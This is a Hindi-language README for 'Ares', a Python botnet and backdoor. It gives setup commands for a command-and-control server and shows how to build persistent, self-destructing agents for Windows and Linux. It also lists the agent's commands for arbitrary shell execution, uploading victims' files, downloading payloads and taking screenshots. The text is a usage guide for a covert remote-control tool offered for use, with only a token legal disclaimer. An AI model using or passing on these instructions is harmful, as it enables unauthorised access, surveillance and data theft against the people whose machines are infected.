
पायथन बॉटनेट और बैकडोर
एरेस एक पायथन रिमोट एक्सेस टूल है।
चेतावनी: इस सॉफ़्टवेयर का उपयोग केवल अपने वर्तमान कानून के अनुसार करें। इस सॉफ़्टवेयर के दुरुपयोग से कानूनी और नैतिक मुद्दे उत्पन्न हो सकते हैं जिनका मैं समर्थन नहीं करता और न ही इसके लिए जिम्मेदार ठहराया जा सकता हूँ।
एरेस दो मुख्य प्रोग्रामों से बना है:
वेब इंटरफ़ेस को पायथन चलाने वाले किसी भी सर्वर पर चलाया जा सकता है। एजेंट को pyinstaller का उपयोग करके नेटिव एक्जीक्यूटेबल्स में संकलित किया जा सकता है।
पायथन आवश्यकताओं को स्थापित करें:
pip install -r requirements.txt
डेटाबेस को प्रारंभ करें:
cd server
./ares.py initdb
लिनक्स पर विंडोज एजेंटों को संकलित करने के लिए, wine सेटअप करें (वैकल्पिक):
./wine_setup.sh
बिल्टिन (डीबग) सर्वर के साथ चलाएँ:
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
या gunicorn का उपयोग करके चलाएँ:
gunicorn ares:app -b 0.0.0.0:8080 --threads 20
सर्वर अब http://localhost:8080 पर उपलब्ध होना चाहिए
पायथन एजेंट चलाएँ (अपनी आवश्यकताओं के अनुसार config.py अपडेट करें):
cd agent
./agent.py
एक नए एजेंट को स्टैंडअलोन बाइनरी में बनाएँ:
./builder.py -p Linux --server http://localhost:8080 -o agent
./agent
समर्थित विकल्पों की सूची देखने के लिए, ./builder.py -h चलाएँ
./agent/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
[--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
[--max_failed_connections MAX_FAILED_CONNECTIONS]
[--persistent]
Builds an Ares agent.
optional arguments:
-h, --help show this help message and exit
-p PLATFORM, --platform PLATFORM
Target platform (Windows, Linux).
--server SERVER Address of the CnC server (e.g http://localhost:8080).
-o OUTPUT, --output OUTPUT
Output file name.
--hello-interval HELLO_INTERVAL
Delay (in seconds) between each request to the CnC.
--idle_time IDLE_TIME
Inactivity time (in seconds) after which to go idle.
In idle mode, the agent pulls commands less often
(every <hello_interval> seconds).
--max_failed_connections MAX_FAILED_CONNECTIONS
The agent will self destruct if no contact with the
CnC can be made <max_failed_connections> times in a
row.
--persistent Automatically install the agent on first run.
<any shell command>
Executes the command in a shell and return its output.
upload <local_file>
Uploads <local_file> to server.
download <url> <destination>
Downloads a file through HTTP(S).
zip <archive_name> <folder>
Creates a zip archive of the folder.
screenshot
Takes a screenshot.
python <command|file>
Runs a Python command or local file.
persist
Installs the agent.
clean
Uninstalls the agent.
exit
Kills the agent.
help
This help.